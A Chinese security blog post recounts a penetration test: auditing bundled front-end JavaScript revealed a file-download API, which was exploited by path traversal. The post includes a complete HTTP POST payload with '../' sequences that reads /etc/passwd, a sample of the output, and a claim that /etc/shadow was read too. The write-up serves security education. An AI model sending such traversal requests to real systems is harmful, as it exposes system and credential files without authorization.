记一次漏洞挖掘过程:详细复盘如何通过分析前端代码,发现并利用一个任意文件读取漏洞
原创
是老A
是老A
老A搞安全
2026年10月10日 07:50
贵州
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
一位深耕网络安全的老兵,目前是一家安全公司的技术分管,擅长渗透测试及安全培训方向,老A的愿望是大家没烦恼,一切顺心!
基于一次真实的漏洞挖掘过程,详细复盘如何通过分析前端代码,发现并利用一个任意文件读取漏洞,最终读取到服务器敏感的 /etc/passwd 和 /etc/shadow 文件
故事从……那天下午开始讲起!!!!
不讲故事了,直接上干货!
接口定位
针对目标系统进行渗透测试时,通过浏览器的F12,审计了前端打包后的JavaScript代码
我也是一个一个文件搜索定位的,这里没有技巧!
加上一些运气!
在 app.29943b92.js 文件中,发现了一处较为敏感的文件操作接口调用:
分析:
- API路径:
/api/zipFileOperate/downloadSingleFile - 参数:接口接收
path(路径)、remoteFileName(远程文件名)等参数。 - 推测:后端逻辑大概率是根据传入的
path和remoteFileName拼接成完整路径,并读取文件内容返回给前端。如果没有对path进行严格的校验,这里极可能存在路径遍历漏洞。
构造Payload
我们的目标是读取Linux系统下的核心文件 /etc/passwd
- Target Path:
/etc/ - Target File:
passwd
由于接口设计是 path + remoteFileName 的组合,我们需要利用路径遍历符 ../ 来跳出Web应用根目录,回溯到系统根目录
构造数据包
POST /api/zipFileOperate/downloadSingleFile HTTP/1.1Host: [目标IP]:8188{ \"path\": \"../../../../../../etc/\", \"remoteFileName\": \"passwd\", \"localFileName\": \"passwd\", \"tokenFileName\": \"\", \"zipFlag\": false}
关键点:
path参数使用了大量的../,目的是从Web服务的运行目录逐级回溯,直至根目录/- 最终拼接的路径为:
../../../../../../etc/passwd
发送请求后,服务器成功返回了 /etc/passwd 文件的内容,我们清晰地看到了系统用户列表:
root:x:0:0:root:/root:/bin/bashsync:x:5:0:sync:/sbin:/bin/syncgames:x:12:100:games:/usr/games:/sbin/nologin...
至此,任意文件读取漏洞确认存在
剩下就输出报告交差啦
⚠️ 法律声明:以上内容仅供安全学习和授权测试使用。未经授权的漏洞利用属于违法行为,请勿对未经授权的目标进行测试
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。












评论